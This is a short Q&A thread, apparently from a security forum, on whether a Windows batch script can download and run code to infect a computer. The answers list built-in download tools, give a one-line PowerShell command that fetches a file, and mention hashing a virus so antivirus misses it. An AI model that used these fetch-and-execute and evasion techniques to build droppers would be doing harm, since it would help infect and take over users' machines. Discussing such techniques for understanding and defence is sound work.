Is it possible to write a batch script that can download some code from the web and infect a computer? Can you explain it briefly?
4 Answers
Ultimately, a batch file can write another file and execute it. Batch files can write ASCII characters fine, but other byte values can be more tricky. There are ways to do it, e.g. that which is shown in this answer. On this page a much more thorough bootstrapping method is explained. On recent Windows, it would be simpler to produce a VBScript file and run it; or, even better, a PowerShell script.
An arbitrary executable file can then do anything, including downloading and uploading files, modifying other files in arbitrary ways, and, generally speaking, taking control of the whole machine.
- 320,799
- 57
- 780
- 949
There's no mechanism within Windows batch file scripting to download files. You could use VBScript instead, though.
An alternative is to set up a network share on the same network as the target and copy a file across from there. This is a technique often used in penetration tests to gain further access to a network you've already got basic access to.
As Hendrik mentioned in the comments, it's possible to use in-built executables such as ftp.exe
, vscript, WSH files and rundll32.exe
to download files, though it may not be reliable across all systems.
- 132,208
- 43
- 298
- 379
Actually, it is possible and really easy, since cmd lets you run powershell commands:
powershell -command iwr urltofilehere -OutFile filenametoutput
In a batch file will work.
- 2,938
- 6
- 25
- 31
That's easiest thing so far I understand. I made a... file that downloads files from FTP server and saves it, and then afterwards CMD would start the file so... final answer.
There are methods to hash the virus, so that Anti-Virus won't wake up; and, additional con, you need to have admin rights, to prevent any type of misfortunate happenings.
Batch: No.
Batch + VBScript: Yes.
- 9
- 1
-
Nothing better, than getting downvote because of giving on-topic correct answer. – Rik Telner Nov 04 '13 at 22:03